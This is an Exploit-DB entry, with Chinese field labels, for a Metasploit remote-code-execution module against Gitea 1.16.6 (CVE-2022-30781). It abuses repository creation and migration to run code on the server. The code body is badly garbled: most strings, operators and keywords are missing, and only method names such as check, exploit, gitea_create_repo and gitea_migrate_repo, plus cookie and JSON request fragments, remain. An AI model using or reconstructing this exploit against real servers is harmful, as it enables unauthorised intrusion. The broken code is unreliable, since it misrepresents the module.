标题: Gitea 1.16.6 - Remote Code Execution (RCE) (Metasploit) EDB-ID: 51009 CVE: 2022-30781 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2022-09-15 漏洞利用脚本: # Exploit Title: Gitea Git Fetch Remote Code Execution
# Date: 09/14/2022
# Exploit Author: samguy
# Vendor Homepage: https://gitea.io
# Software Link: https://dl.gitea.io/gitea/1.16.6
# Version: <= 1.16.6
# Tested on: Linux - Debian
# Ref : https://tttang.com/archive/1607/
# CVE : CVE-2022-30781

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

   
    

  prepend 
  include 
  include 

   info  
    
      
        info
          
          
          
           
                  
        
          
           
           
        
          
          
          
          
          
          
          
            
            
                
                
                
                
                  
              
            
          
        
              
          
          
            
            
            
        
      
    

    
      
         
        
        
         
    
  

   check
    res  
        
        target_uripath 
        
    
       res
       rescode  

    
     match  resbody
       
    

     match
       
    

    res  
        
        target_uripath 
        
          datastore
          datastore
          resget_cookies
      
        
    
       rescode  

     match  
       
    

    
   
     
  

   primer
     
     
     
     
      uri uri  

    
    gitea_create_repo
    
    
    gitea_migrate_repo
  

   exploit
      
      
      
    datastore  

    datastore   
   
     map  name name 
    cleanup 
  

   cookies
    csrf  cookiesjoinlast
       csrf
    csrf
  

   name
    
    uri  
    res  
        
        target_uripath uri
        
    
    res  
        
        uri
        
          
          name
          resget_cookies
      
        
    
      rescode  
  

   gitea_create_repo
    uri  target_uripath 
    res       uri   
      resget_html_documenttext
       

    res  
        
        uri
        
          
          
          
          
          
          
          resget_cookies
      
        
    
       rescode  

   
     
  

   gitea_migrate_repo
    res  
        
        target_uripath 
        
    
    uri  resget_html_documenttext
       uri

    svc_type  uriquery
    res  
        
        target_uripath uri
        
    
    res  
        
        uri
        
          
          svc_type
          
          
          resget_cookies
          
          
      
        
    
     rescode   
      err  resget_html_documenttext
      
      cleanup
       
    

   
     
  

   cli req
     requri
     
      cli 
     
      data  
        
        
      
      cli datato_json
     
      data  
         
           datastore 
      
      cli datato_json
     
      cli 
     
      data  
        
           
             
          
           
             
             
               
                  
            
          
           
           
        
      
      cli datato_json URL: https://www.exploit-db.com/exploits/51009